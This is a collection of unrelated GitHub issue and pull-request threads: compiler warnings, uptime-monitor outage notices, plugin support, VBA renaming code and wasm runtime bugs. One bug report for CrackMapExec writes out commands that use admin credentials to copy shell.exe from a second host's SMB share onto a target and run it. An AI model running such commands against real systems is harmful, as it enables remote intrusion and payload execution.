text:
Eliminate warnings reported by Clang with -Weverything

I've tried to reduce the number of warnings reported, testing on Gentoo Linux amd64 (with Clang and GCC) and macOS 10.12 (with Clang from Xcode 8.2.1). When compiling internal tests with Clang (using clang -Weverything main.c mytests.c -O3 -o test), number of warnings went from 12 (main.c) + 46 (mytests.c) down to none (main.c) + 2 (mytests.c); GCC (using gcc -Wall -Wextra main.c mytests.c -O3 -o test) reported 7 warnings (in mytests.c only) before the changes and no warnings after.
Warnings still reported by Clang are in mytests.c and not directly related to ctest itself:
% clang -Weverything main.c mytests.c -o test
mytests.c:58:1: warning: empty struct has size 0 in C, size 1 in C++ [-Wc++-compat]
CTEST_DATA(fail) {};
^
./ctest.h:79:27: note: expanded from macro 'CTEST_DATA'
#define CTEST_DATA(sname) struct CTEST_IMPL_NAME(sname##_data)
                          ^
mytests.c:58:1: warning: empty struct is a GNU extension [-Wgnu-empty-struct]
./ctest.h:79:27: note: expanded from macro 'CTEST_DATA'
#define CTEST_DATA(sname) struct CTEST_IMPL_NAME(sname##_data)
                          ^
2 warnings generated.

Not exactly sure on the naming changes, so if you have other suggestions...

Unfortunately, I'm still seeing a lot of warnings from GCC related to CTEST2 in my own tests:
.../ctest.h:66:31: warning: redundant redeclaration of ‘ctest_blocklist_setup’ [-Wredundant-decls]
 #define CTEST_IMPL_NAME(name) ctest_##name
                               ^
.../ctest.h:91:26: note: in expansion of macro ‘CTEST_IMPL_NAME’
     void CTEST_IMPL_WEAK CTEST_IMPL_NAME(sname##_setup)(struct CTEST_IMPL_NAME(sname##_data)* data); \
                          ^
.../ctest.h:113:5: note: in expansion of macro ‘CTEST_SETUP’
     CTEST_SETUP(sname); \
     ^
.../ctest.h:126:30: note: in expansion of macro ‘CTEST_IMPL_CTEST2’
 #define CTEST2(sname, tname) CTEST_IMPL_CTEST2(sname, tname, 0)
                              ^
.../foo-test.c:79:1: note: in expansion of macro ‘CTEST2’
 CTEST2(foo, bar)
 ^
.../ctest.h:66:31: note: previous definition of ‘ctest_blocklist_setup’ was here
 #define CTEST_IMPL_NAME(name) ctest_##name
                               ^
.../ctest.h:92:26: note: in expansion of macro ‘CTEST_IMPL_NAME’
     void CTEST_IMPL_WEAK CTEST_IMPL_NAME(sname##_setup)(struct CTEST_IMPL_NAME(sname##_data)* data)
                          ^
.../foo-test.c:69:1: note: in expansion of macro ‘CTEST_SETUP’
 CTEST_SETUP (foo)
 ^

very nice work! merged with pleasure.

Ouch :) Thanks, I just thought I'd have time to fix those -Wredundant-decls warnings mentioned above, especially since it seems that I've added them myself in one of the commits here. Will open another PR once I figure it out then (or maybe someone else will sooner) ;)

Ok

authors: bvdberg mikedld

repo: bvdberg/ctest


text:
🛑 Prestige Lakeside Habitat Tower 21 is down

In ebfe3f1, Prestige Lakeside Habitat Tower 21 (https://cloud.tymly.in/status/1114) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Prestige Lakeside Habitat Tower 21 is back up in a97bc71.

source: gharchive/issue

repo: bvenkysubbu/tymlymonitor

license: MIT

license_type: permissive

license_source: github-api


text:
🛑 Trifecta Esplanade A Block is down

In 22a62dd, Trifecta Esplanade A Block (https://cloud.tymly.in/status/1153) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Trifecta Esplanade A Block is back up in d3c46de.


text:
🛑 Sai Raghavendras Bloomfields is down

In e9daaec, Sai Raghavendras Bloomfields (https://cloud.tymly.in/status/1014) was down:

HTTP code: 502
Response time: 215 ms

Resolved: Sai Raghavendras Bloomfields is back up in f543a4f.


text:
🛑 Gayathri Goodlife is down

In 2c6c19b, Gayathri Goodlife (https://cloud.tymly.in/status/1009) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Gayathri Goodlife is back up in f35d6a9.


text:
🛑 SMR Vinay Cascade B Block is down

In 1e3256e, SMR Vinay Cascade B Block (https://cloud.tymly.in/status/1093) was down:

HTTP code: 521
Response time: 20231 ms

Resolved: SMR Vinay Cascade B Block is back up in 0631e9a.


text:
🛑 SMR Vinay Cascade B Block is down

In 1d49e33, SMR Vinay Cascade B Block (https://cloud.tymly.in/status/1093) was down:

HTTP code: 521
Response time: 20240 ms

Resolved: SMR Vinay Cascade B Block is back up in f799033.


text:
🛑 SMR Vinay Cascade B Block is down

In 5f74544, SMR Vinay Cascade B Block (https://cloud.tymly.in/status/1093) was down:

HTTP code: 521
Response time: 20212 ms

Resolved: SMR Vinay Cascade B Block is back up in 0c600ec.


text:
🛑 SMR Vinay Cascade B Block is down

In 8754ef3, SMR Vinay Cascade B Block (https://cloud.tymly.in/status/1093) was down:

HTTP code: 521
Response time: 20234 ms

Resolved: SMR Vinay Cascade B Block is back up in 752bc80.


text:
🛑 Prakruthi Villas Sarjapura is down

In 13a4d9e, Prakruthi Villas Sarjapura (https://cloud.tymly.in/status/1058) was down:

HTTP code: 521
Response time: 20215 ms

Resolved: Prakruthi Villas Sarjapura is back up in 2df805c.


text:
🛑 Nitesh Forest Hills and Flush Meadows is down

In 90c5182, Nitesh Forest Hills and Flush Meadows (https://cloud.tymly.in/status/1023) was down:

HTTP code: 521
Response time: 214 ms

Resolved: Nitesh Forest Hills and Flush Meadows is back up in e4033f7.


text:
🛑 SMD Altezz Block A is down

In cf122ac, SMD Altezz Block A (https://cloud.tymly.in/status/1175) was down:

HTTP code: 521
Response time: 933 ms

Resolved: SMD Altezz Block A is back up in c567831.


text:
🛑 Prestige Jade Pavilion Tower 4 is down

In f86b190, Prestige Jade Pavilion Tower 4 (https://cloud.tymly.in/status/1170) was down:

HTTP code: 521
Response time: 20219 ms

Resolved: Prestige Jade Pavilion Tower 4 is back up in c96492d.


text:
🛑 Nitesh Flushing Meadows Block D is down

In f81d48f, Nitesh Flushing Meadows Block D (https://cloud.tymly.in/status/1049) was down:

HTTP code: 521
Response time: 20257 ms

Resolved: Nitesh Flushing Meadows Block D is back up in 6e67166.


text:
🛑 Dasta Concerto Basement is down

In d5392c3, Dasta Concerto Basement (https://cloud.tymly.in/status/1138) was down:

HTTP code: 521
Response time: 225 ms

Resolved: Dasta Concerto Basement is back up in b8c1101.


text:
🛑 VBHC Serene Town B Block is down

In db8ad30, VBHC Serene Town B Block (https://cloud.tymly.in/status/1130) was down:

HTTP code: 521
Response time: 241 ms

Resolved: VBHC Serene Town B Block is back up in 2152e54.


text:
🛑 SMR Vinay Cascade B Block is down

In c95886c, SMR Vinay Cascade B Block (https://cloud.tymly.in/status/1093) was down:

HTTP code: 521
Response time: 20239 ms

Resolved: SMR Vinay Cascade B Block is back up in 238c69d.


text:
🛑 SNR Silver Ripples 2 is down

In fff1fab, SNR Silver Ripples 2 (https://cloud.tymly.in/status/1040) was down:

HTTP code: 521
Response time: 20231 ms

Resolved: SNR Silver Ripples 2 is back up in 5cf3e9d.


text:
🛑 SMD Altezz Block A is down

In dc66846, SMD Altezz Block A (https://cloud.tymly.in/status/1175) was down:

HTTP code: 521
Response time: 21035 ms

Resolved: SMD Altezz Block A is back up in 922f6b4.


text:
🛑 Prakruthi Villas Sarjapura is down

In 38fe714, Prakruthi Villas Sarjapura (https://cloud.tymly.in/status/1058) was down:

HTTP code: 521
Response time: 224 ms

Resolved: Prakruthi Villas Sarjapura is back up in 5735fe7.


text:
🛑 Trifecta Esplanade Multipurpose Hall is down

In 5eb2414, Trifecta Esplanade Multipurpose Hall (https://cloud.tymly.in/status/1169) was down:

HTTP code: 521
Response time: 20218 ms

Resolved: Trifecta Esplanade Multipurpose Hall is back up in 4459329.


text:
🛑 Nitesh Flushing Meadows Block B is down

In 350d342, Nitesh Flushing Meadows Block B (https://cloud.tymly.in/status/1047) was down:

HTTP code: 521
Response time: 20222 ms

Resolved: Nitesh Flushing Meadows Block B is back up in dd96b62.


text:
🛑 White Breeze 2 is down

In 484830c, White Breeze 2 (https://cloud.tymly.in/status/1097) was down:

HTTP code: 521
Response time: 20225 ms

Resolved: White Breeze 2 is back up in bf4247b.


text:
🛑 Dasta Concerto Clubhouse Gym is down

In 44bd101, Dasta Concerto Clubhouse Gym (https://cloud.tymly.in/status/1189) was down:

HTTP code: 521
Response time: 20237 ms

Resolved: Dasta Concerto Clubhouse Gym is back up in 0618339.


text:
🛑 Dasta Concerto Basement 2 is down

In cbfebb7, Dasta Concerto Basement 2 (https://cloud.tymly.in/status/1188) was down:

HTTP code: 521
Response time: 20231 ms

Resolved: Dasta Concerto Basement 2 is back up in 9808254.


text:
🛑 SBB Touchstone C Block is down

In 89a2f22, SBB Touchstone C Block (https://cloud.tymly.in/status/1184) was down:

HTTP code: 521
Response time: 20249 ms

Resolved: SBB Touchstone C Block is back up in 49e9afa.


text:
🛑 Trifecta Esplanade Multipurpose Hall is down

In 0365037, Trifecta Esplanade Multipurpose Hall (https://cloud.tymly.in/status/1169) was down:

HTTP code: 521
Response time: 20248 ms

Resolved: Trifecta Esplanade Multipurpose Hall is back up in 25aeeea.


text:
🛑 Nitesh Flushing Meadows Block C is down

In c788d46, Nitesh Flushing Meadows Block C (https://cloud.tymly.in/status/1054) was down:

HTTP code: 521
Response time: 254 ms

Resolved: Nitesh Flushing Meadows Block C is back up in c1b20ec.


text:
🛑 Mahaveer Varna B1 is down

In d637707, Mahaveer Varna B1 (https://cloud.tymly.in/status/1085) was down:

HTTP code: 521
Response time: 20224 ms

Resolved: Mahaveer Varna B1 is back up in 9511b8d.


text:
🛑 SMD Altezz Block B is down

In 2bf2437, SMD Altezz Block B (https://cloud.tymly.in/status/1176) was down:

HTTP code: 521
Response time: 237 ms

Resolved: SMD Altezz Block B is back up in f3736a0 after 32 minutes.


text:
🛑 SMR Vinay Cascade B Block is down

In 77456a9, SMR Vinay Cascade B Block (https://cloud.tymly.in/status/1093) was down:

HTTP code: 521
Response time: 20237 ms

Resolved: SMR Vinay Cascade B Block is back up in 4ea3d04.


text:
🛑 PSR Aster 1 is down

In bdfd0de, PSR Aster 1 (https://cloud.tymly.in/status/1059) was down:

HTTP code: 521
Response time: 229 ms

Resolved: PSR Aster 1 is back up in 1c02946.


text:
API を作る

[ ] calenders

[ ] index
[ ] store
[ ] update
[ ] destroy

[x] commands

[x] index
[x] store
[x] update
[x] destroy

[ ] exec_results

[ ] index
[ ] store
[ ] update
[ ] destroy

[ ] onetime_skips

[ ] index
[ ] store
[ ] update
[ ] destroy

[ ] ssid_triggers

[ ] index
[ ] store
[ ] update
[ ] destroy

[ ] ssids

[ ] index
[ ] store
[ ] update
[ ] destroy

[ ] summarize_commands

[ ] index
[ ] store
[ ] update
[ ] destroy

[ ] time_triggers

[ ] index
[ ] store
[ ] update
[ ] destroy

[ ] sign in (groups, users)

[ ] signin
[ ] signup
[ ] update
[ ] delete

commands https://github.com/bvlion/holidays-webhook-server/commit/b0fd65aa224155ea99effa3248ecdf681f6ee6aa

repo: bvlion/holidays-webhook-server


text:
Release version with Swift 1.2 support

Hi - could you please push a new version to cocopoads with the fix for Swift 1.2? I tried using the git master branch as the pod target but there's no podspec in the repo.
Thanks!

Updating to swift 2.0 soon

repo: bvogelzang/SevenSwitch

license: mit

license_source: bigquery


text:
ssort messes with class attribute docstrings

Before:
from dataclasses import dataclass

@dataclass
class User:
    id: int
    """User identifier."""

    email: str
    """E-mail address."""

    phone: str
    """Phone number in the international format."""

    age: int
    """Number of full years."""

After:
from dataclasses import dataclass

@dataclass
class User:
    id: int

    email: str

    phone: str

    age: int
    """User identifier."""
    """E-mail address."""
    """Phone number in the international format."""
    """Number of full years."""

There are two PEPs that describe such docstrings. Both of them were rejected.

https://peps.python.org/pep-0224/
https://peps.python.org/pep-0258/

I know that this is now a "real" docstring syntax but people still use it to document fields in their classes. Some tools support it as well (like sphinx).
It could be useful to recognise such docstrings and preserve their positions.

Interesting.  I wasn't aware of that convention.  It's always bugged me that documentation comments appear before the things they describe in code but after in the docs.
I don't think this conflicts with any of the other rules for how we sort class bodies so I don't see any harm in implementing it.  With that said, it is unlikely to be a straightforward change as we have no precedent for pairing expressions with siblings.
I don't have the time to work on this myself, but I'm going to leave this open for you or anyone else to pick up.  A PR which implements this behaviour without breaking anything else or tanking performance will be accepted.  Happy to provide advice and however many reviews it takes to get something working.
In the interim, switching to #: comments is probably the only workaround.
(Linking to conversation in #11)

Hi @bwhmather, I don't think I have the time to work on this, but could give us some hints where/how this would be implemented, just in case? A quick overview of ssort's flow, with the corresponding modules holding the logic, would be a great start!

authors: and-semakin bwhmather pawamoy

repo: bwhmather/ssort


text:
There is no action/step output_image

https://github.com/bwolf/cert-manager-webhook-gandi/blob/61bcd3d286dc1935f218d0a706669982dbc58787/.github/workflows/main.yml#L63

Close; step exists.

repo: bwolf/cert-manager-webhook-gandi


text:
Siri cannot change LED color.

I am able to control power on/off by using Siri on my iPhone and HomePods, but requests such "turn x light RED" do not work. I can change LED color through the Home app just fine, though.
...
iPhone XR, HomePods, Homebridge on RPi3B+.
...
Homebridge 1.2.2
...
homebridge-govee v1.0.2
...
Logs do not show my Govee requests.

Hi, I will look into this and get back to you.
Sorry it’s taken a few days to initially reply!

I have made some improvements to the connection so please try v1.1.1 and it should get this working.
If not, a couple of other things to try are:

Turning on "Debug Logging" and "Request & Response Logging" in the plugin settings to see if any errors are shown in the logs
Deleting the device from the Govee app, unplugging it for about 30 minutes, and then reconnecting it to the Govee app.

Thanks so much! I’ll test it out some more.

The other thing i'd recommend is to read the things i have written on the main page of this plugin:
https://github.com/bwp91/homebridge-govee
especially the ⚠ parts!


text:
Strange warning during plugin installation

What issue do you have? Please be as thorough and explicit as possible.
Hello, I got a strange warning message while installing the plugin.  Should this be of concern?
Thanks.
Details of your setup.

Do you use (1) Homebridge UI-X (2) Homebridge CLI or (3) HOOBS?
-> Homebridge UI-X

Which version of Homebridge/HOOBS do you have?
-> v1.3.4

Which platform do you run Homebridge/HOOBS on (e.g. Raspberry Pi/Windows/HOOBS Box)? Please also mention your version of Node.js/NPM if known.
-> Raspberry Pi
-> Node.js = v14.17.6
-> NPM = v6.14.15

Which version of this plugin (homebridge-govee) do you have? Has the issue started since upgrading from a previous version?
->  homebridge-govee v4.8.0

Which Govee devices do you have that are causing issues? Please include product models if applicable.
None, this is about an installation log warning.

Relevant Screenshot is below:

This is nothing to worry about, anyone who installs the plugin will see this, and can be ignored!

This is nothing to worry about, anyone who installs the plugin will see this, and can be ignored!

Sounds good Ben, just making sure :-) Thank you.


text:
h6052 support?

Please explain your feature request in a one or two sentences.

support for H6052.

Is your feature request related to a problem? Please describe.

no

Any particular Govee devices that this relates to?
yes model h6052

Anything else?

Govee dose say that there is support for this device

It seems they have updated the API with support for new models!
Watch this space 🙂

Please update to v2.4.0

I just checked with my server (hoobs) and it wasn't available is there a way to update it with the cmd line?

Run these commands separately from the HOOBS terminal:
cd ~/.hoobs/
npm install homebridge-govee@latest

I received a error in npm

Ah. Please try stopping HOOBS first then running the commands.

thx I just got it working


text:
script don' start at pi

I won't to run a script on my pi, on which the ha-bridge also is running.
whan i push the button "test on" on the ha-bridge it, it bring me the green succassge message
the sricpt is only for testing, it should restart the pi:
#!/bin/bash

echo "Test"
sudo shutdown -r now

on the ha-bridge i add the device following

Then i run the bash on the pi it works fine.
Did i make any mistake?

Let's take some things out of the picture here to help. remove the 'bash' in front of the script name as it already says it is a bash script internally.

this i have already tested, what was not the solution
but a friend seen it. i have forgot the / for home
so the problem is solved an can be closed

repo: bwssytems/ha-bridge


text:
Rename path t-streams/src/main/scala-2.11/com/bwsw/tstreams/coordination/subscribe/

From t-streams/src/main/scala-2.11/com/bwsw/tstreams/coordination/subscribe/
To t-streams/src/main/scala-2.11/com/bwsw/tstreams/coordination/pubsub/

done

resolved

authors: alexander-branevskiy bwsw

repo: bwsw/t-streams


text:
form_chtSeries variable names & object names

In the forms, control object names need to be clarified and adjusted before code variables can be analyzed.

Just some documentation.
Code
Sub GetControls()
    Dim targetForm As Object
    Set targetForm = 'each form
    Dim targetControl As control
    For Each targetControl In targetForm.Controls
        Debug.Print targetControl.name
    Next
End Sub

Results
form_chtGrid

Label2
txt_cols
txt_height
Label3
txt_width
Label4
btn_grid
txt_vOff
Label5
txt_hOff
Label6
chk_down
chk_zoom

form_chtSeries

list_series
btn_setXRange
txt_xrange
btn_xrangedown
txt_yrange
btn_yrange
btn_ydown

form_newCommands

Label1
CommandButton1
CommandButton13
CommandButton15
CommandButton16
CommandButton17
CommandButton18
CommandButton19
CommandButton20
CommandButton21
CommandButton22
CommandButton23
CommandButton25
CommandButton26
CommandButton27
CommandButton28
CommandButton29
CommandButton30
CommandButton31
CommandButton32
CommandButton33
CommandButton34
CommandButton35
CommandButton36
CommandButton37

note: CommandButtons(i) for i = 1, 13, 15 to 23, 25 to 37

Replacing control names on the form and in the code
This code will replace the names of the controls in the design of the form and in the code behind the form. Right now I was just testing it by appending NEW to the old names as the new names, that way I could easily reverse it with len()-3.
Anyhow, this was kind of fun. You can use it to do your control renaming however you'd like and then just merge that into the project. I figured I'd leave that up to you given they are your forms. I only did the testing on chtSeries hence the length of the arrays being fixed.
Public Sub FindReplaceInModule()
    Const CHTGRID As String = "form_chtGrid"
    Const CHTSERIES As String = "form_chtSeries"
    Dim targetProject As VBIDE.VBProject
    Dim targetModule As VBIDE.VBComponent
    Dim targetCode As VBIDE.CodeModule
    Dim controlIndex As Long
    Set targetProject = Application.VBE.VBProjects("bUTLAddIn")
    Set targetModule = targetProject.VBComponents(CHTSERIES)
    Dim targetForm As Object
    Set targetForm = targetModule.Designer

    Dim newControlNames() As String
    ReDim newControlNames(0 To 6)
    Dim oldControlNames() As String
    ReDim oldControlNames(0 To 6)

    For controlIndex = 0 To 6
        oldControlNames(controlIndex) = targetForm.Controls(controlIndex).name
        newControlNames(controlIndex) = oldControlNames(controlIndex) & "NEW"
        targetForm.Controls(controlIndex).name = newControlNames(controlIndex)
    Next

    Set targetCode = targetModule.CodeModule

    Dim findWhat As String
    Dim replaceWith As String

    Dim numberOfLines As Long
    numberOfLines = targetCode.CountOfLines
    Dim lineNumber As Long
    Dim lineText As String

    For controlIndex = 0 To 6
        findWhat = oldControlNames(controlIndex)
        replaceWith = newControlNames(controlIndex)
        For lineNumber = 1 To numberOfLines
            lineText = targetCode.Lines(lineNumber, 1)
            If InStr(1, lineText, findWhat, vbTextCompare) > 0 Then
                targetCode.ReplaceLine lineNumber, Replace(lineText, findWhat, replaceWith, , , vbTextCompare)
            End If
        Next
    Next
End Sub

repo: byronwall/bUTL


text:
Execute code via wmiexec requires port 445 to be open

Describe the bug
When executing code via wmiexec and crackmapexec, port 445 is required to be open. If a smb service is running on the system it is not possible to use wmiexec to execute code (Error: Error starting SMB server on port 445: the port is already in use). Even providing a custom port via the --smb-server-port option does not execute the code.
The code gets successfully executed using wmiexec.py from impacket.
To Reproduce
Create a share on kali and start the smb service.
Then execute the following commands.
crackmapexec smb 10.10.101.11 -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Not Working

crackmapexec smb 10.10.101.11 -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" --smb-server-port 1337 -> Not working

python3 wmiexec.py ./Administrator:$PASSWORD@10.10.101.11 "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Working

Expected behavior
Code should get executed.
Screenshots

Crackmapexec info

OS: Kali Linux
Version of CME: 5.1.6dev

Will fix that this week end

Done !


text:
feat: tool to analyze backlog files in persistence

Closes #

Changes

Why?
Files from backlog in persistence can give the user important information of the kind of data being persisted to disk by uplink
Trials Performed

Run uplink with persistence enabled
Attach simulator to generate gps, device_shadow, etc. data
ensure network is down and uplink is persisting to disk
stop uplink and run the utility to analyze contents of persistence

example output generated with simulator generating data on streams gps, device_shadow and peripheral_state every 100ms, on motor and bms streams every 25ms:
❯ cargo run -- -s 256000 -d /tmp/uplink
    Finished dev [unoptimized + debuginfo] target(s) in 0.04s
     Running `target/debug/deserialize-backup -s 256000 -d /tmp/uplink`
╭──────────────────┬──────────────────────┬───────┬──────────────┬───────────┬────────────┬─────────────────┬───────────────┬──────────────╮
│ stream_name      │ serialization_format │ count │ message_rate │ data_size │ data_rate  │ start_timestamp │ end_timestamp │ milliseconds │
├──────────────────┼──────────────────────┼───────┼──────────────┼───────────┼────────────┼─────────────────┼───────────────┼──────────────┤
│ peripheral_state │ jsonarray            │ 100   │ 9.861933 /s  │ 20.5 KiB  │ 2 KiB/s    │ 1682096206749   │ 1682096216889 │ 10140        │
│ bms              │ jsonarray            │ 700   │ 36.201904 /s │ 910.8 KiB │ 47.1 KiB/s │ 1682096206674   │ 1682096226010 │ 19336        │
│ device_shadow    │ jsonarray            │ 178   │ 9.8201475 /s │ 33 KiB    │ 1.8 KiB/s  │ 1682096207877   │ 1682096226003 │ 18126        │
│ motor            │ jsonarray            │ 700   │ 36.52682 /s  │ 167.9 KiB │ 8.8 KiB/s  │ 1682096206674   │ 1682096225838 │ 19164        │
│ gps              │ jsonarray            │ 100   │ 9.874593 /s  │ 8.1 KiB   │ 816.9 B/s  │ 1682096206749   │ 1682096216876 │ 10127        │
╰──────────────────┴──────────────────────┴───────┴──────────────┴───────────┴────────────┴─────────────────┴───────────────┴──────────────╯
NOTE: timestamps are relative to UNIX epoch and in milliseconds and message_rate is in units of points/second

Aggregated values
╭───────┬──────────────┬───────────┬───────────┬─────────────────┬───────────────┬──────────────╮
│ count │ message_rate │ data_size │ data_rate │ start_timestamp │ end_timestamp │ milliseconds │
├───────┼──────────────┼───────────┼───────────┼─────────────────┼───────────────┼──────────────┤
│ 1778  │ 91.952835 /s │ 1.1 MiB   │ 59 KiB/s  │ 1682096206674   │ 1682096226010 │ 19336        │
╰───────┴──────────────┴───────────┴───────────┴─────────────────┴───────────────┴──────────────╯

-s should be optional

source: gharchive/pull-request

repo: bytebeamio/uplink


text:
Fix a bug that read a null pointer in jit_cc_destroy

Try to fix bug that it read a null pointer after initialize a compilation context for fast jit failed.
When memory_allocator_alloc return NULL, jit_cc_init will call jit_cc_destroy and we try to free the memory of cc.
But we ingored to do some check for cc->entry_label that may be 0 (This represents an initialization failure.), which causes the program to read a null pointer.
PS: This PR is for  internal issues #403

IIUC, form_and_translate_func() will make sure every function has an entry and an exit. So I am curious about when the new NULL check will work.

IIUC, form_and_translate_func() will make sure every function has an entry and an exit. So I am curious about when the new NULL check will work.
We use "Instrument Test" to test abnormal cases.
In this case, we force the function mem_allocator_malloc to return NULL when the specific call stack occur.
And the function  form_and_translate_func() may not be called.
The detail case is in https://github.com/wasm-micro-runtime/wamr-internal-dev/issues/403.
I described the whole situation.

IIUC, form_and_translate_func() will make sure every function has an entry and an exit. So I am curious about when the new NULL check will work.

We use "Instrument Test" to test abnormal cases.
In this case, we force the function mem_allocator_malloc to return NULL when the specific call stack occur.
And the function form_and_translate_func() may not be called.
The detail case is in https://github.com/wasm-micro-runtime/wamr-internal-dev/issues/403.
I described the whole situation.

IIUC, form_and_translate_func() will make sure every function has an entry and an exit. So I am curious about when the new NULL check will work.

We use "Instrument Test" to test abnormal cases.
In this case, we force the function mem_allocator_malloc to return NULL when the specific call stack occur.
And the function form_and_translate_func() may not be called.
The detail case is in https://github.com/wasm-micro-runtime/wamr-internal-dev/issues/403.
I described the whole situation.
@lum1n0us

@lum1n0us This issue is found by instrumentation test (it is a destructive test to cover abnormal cases).
This bug indicates that somewhere doesn't check and deal with the return value of wasm_runtime_malloc correctly.

I know what you mean.
The original design was:

JitCompContext *
jit_cc_init(JitCompContext *cc, unsigned htab_size)
{
    JitBasicBlock *entry_block, *exit_block;
    unsigned i, num;

    memset(cc, 0, sizeof(*cc));
    cc->_reference_count = 1;
    jit_annl_enable_basic_block(cc);

    /* Create entry and exit blocks.  They must be the first two
       blocks respectively.  */
    if (!(entry_block = jit_cc_new_basic_block(cc, 0))
        || !(exit_block = jit_cc_new_basic_block(cc, 0)))
        goto fail;
/*ignored codes for convenience*/
    cc->entry_label = jit_basic_block_label(entry_block);
    cc->exit_label = jit_basic_block_label(exit_block);
/*ignored codes for convenience*/
fail:
    jit_cc_destroy(cc);
    return NULL;
}

And when exec entry_block = jit_cc_new_basic_block(cc, 0)，it goto fail.
So cc->entry_label = 0, and I think this represent the error case. So I use this case to detect NULL.
or do we need to do something in jit_cc_new_basic_block?
But I  have no idea dealing with the else case in this function to fix the bug.

JitBasicBlock *
jit_cc_new_basic_block(JitCompContext *cc, int n)
{
    JitReg label = jit_cc_new_label(cc);
    JitBasicBlock *block = NULL;

    if (label && (block = jit_basic_block_new(label, n)))
        /* Void 0 register indicates error in creation.  */
        *(jit_annl_basic_block(cc, label)) = block;
    else
        jit_set_last_error(cc, "create basic block failed");

    return block;
}

repo: bytecodealliance/wasm-micro-runtime


text:
[wiggle] Obtaining another WASI handle from a different one

As in the title, pre-wiggle, we didn't really deal with a concept of WASI handle, and file descriptor was simply a type alias. Now, with wiggle, we can and should handle "handles" properly.
My question now is, how should we obtain a handle from another one in wasi-common? Until now (when Fd was a simple type alias) we did:
let new_fd = if let Some(fd) = old_fd.checked_add(1) {
    fd
} else {
   Overflow
}

Since Fd is now a "supertype", it's no longer that obvious what to do. My initial thought was to provide an unsafe accessor to the underlying value in wiggle, i.e., something like:
pub struct Fd(u32);
impl Fd {
    pub unsafe fn inner(&self) -> u32 {
        self.0
   }
}

Then, we could re-use most of the code in wasi-common to obtain a new handle as follows:
let new_fd = if let Some(raw) = unsafe { old_fd.inner() }.checked_add(1) {
    Fd::from(raw)
} else {
    Overflow
}

I'm wondering though if you guys reckon there is a better, cleaner way of dealing with this? Perhaps a method on the handle type, next() -> Self say, that will return another valid handle. But then, I guess it won't necessarily possess a notion of valid means without having access to the current WASI context object, right?
cc @alexcrichton I thought might be of interest for you as well.

In an application which opens and closes many handles, we'll want to be able to reuse handle values. To support this, we'll need to move away from "add one to a handle" and toward "ask the context for a free handle", and have the context reuse closed handles.

I'd imagine the same as @sunfishcode where it seems like the underlying code should best be changed to something that doesn't require this sort of addition. It sounds like an FdSet which has something like an allocate and deallocate method which tracks all the indices is probably what's best here?

I’m glad I run it past both of you! It makes perfect sense for the context to provide next available handle.
Since this is essentially required to swap wig for wiggle, I’m gonna provide a draft PR of how I’d see this work and we can carry on our discussion there. Does that make sense to y’all?

Makes sense!

I’m gonna go ahead and close this one since we’ve solved the issue in #1329.

authors: alexcrichton kubkon sunfishcode

repo: bytecodealliance/wasmtime


text:
Trace outbound http request in wasi-http

This is to support tracing of outbound HTTP request in downstream libraries like Spin.

Adds tracing to default_send_request that follows the OTel HTTP trace semantic conventions.
Makes sure that the trace context is propagated across the async boundary introduced by the spawn.

@alexcrichton is this something worth backporting to v18? It seems like this code changes a reasonable amount between v18 and v19.

Closing this b/c after a discussion with @alexcrichton we decided it is best to do this tracing in Spin. A subsequent PR will follow that will expose handler for Spin to use.


text:
Does slack channel still exist？

[BUG]
Expected behavior
Actual behavior
Steps to reproduce the behavior
[Enhancement]
Problem
Solution

Thanks for your interest! We have recently updated the link to join Slack. Please take a look at readme and use that link to join.

repo: bytedance/terarkdb


text:
🛑 Wodemo的一楼 is down

In d64c745, Wodemo的一楼 (https://bywhite.wodemo.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Wodemo的一楼 is back up in e1776e9.


text:
🛑 Wodemo的一楼 is down

In fb8637a, Wodemo的一楼 (https://bywhite.wodemo.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Wodemo的一楼 is back up in 0d73d67.


text:
[Console] Add comparator and predicate fields in 'search by range' box

Hi all, it will be very useful to have the possibility to add comparator and
predicate on range queries.
To limit the result avoiding "screen mess" after a query, maybe would be nice
to have the "limit" field too.
Bye ;)

Original issue reported on code.google.com by chrismon...@gmail.com on 16 Nov 2010 at 2:52

Original comment by g.santor...@gmail.com on 16 Nov 2010 at 5:00

Changed state: Fixed

Original comment by sergio.b...@gmail.com on 16 Nov 2010 at 2:57

Changed state: Accepted
Added labels: Project-Terrastore-Console, Type-Enhancement, Priority-High, Milestone-0.3

repo: byzhang/terrastore


text:
[Feature Request] Reverse Search

Feature Request
Prompts based on readline offer a reverse-search feature which is really handy as an input tool.
Is there any plan to add this in go-prompt?

Looks as duplicate of #91.

authors: Totktonada binaek

repo: c-bata/go-prompt


text:
🛑 www.zisk.eu is down

In 6905e93, www.zisk.eu (https://www.zisk.eu/sk/Home.alej) was down:

HTTP code: 403
Response time: 750 ms

Resolved: www.zisk.eu is back up in 9f5ba74.


text:
🛑 www.tinytoe.sk is down

In 0967d08, www.tinytoe.sk (https://www.tinytoe.sk/) was down:

HTTP code: 403
Response time: 496 ms

Resolved: www.tinytoe.sk is back up in 433ce54.


text:
Logout on live page bug

Logging out on the live page currently shows a spinner and requires a refresh to keep using the site.
Logging out should take user to login/landing page if the event is private, but keep them on the page and update the UI if the event is public.

This bug still persists and happens on multiple pages


text:
Area-spline didn't shows well-please help me

Area-spline didn't shows me chart. Can you tell me what is the problem?
Here is html/js code for chart:
`

`
Before that am include this files:
`

`
And get that as result(right part):

Please tell me what I didn't right and what need to change.

solved...add high in chart ;)


text:
x.axis cuts off if window width size is small and category text exceeds chart height

C3 version: 0.5.2

D3 version: 4.12.0

Browser: Chrome

OS: OSX

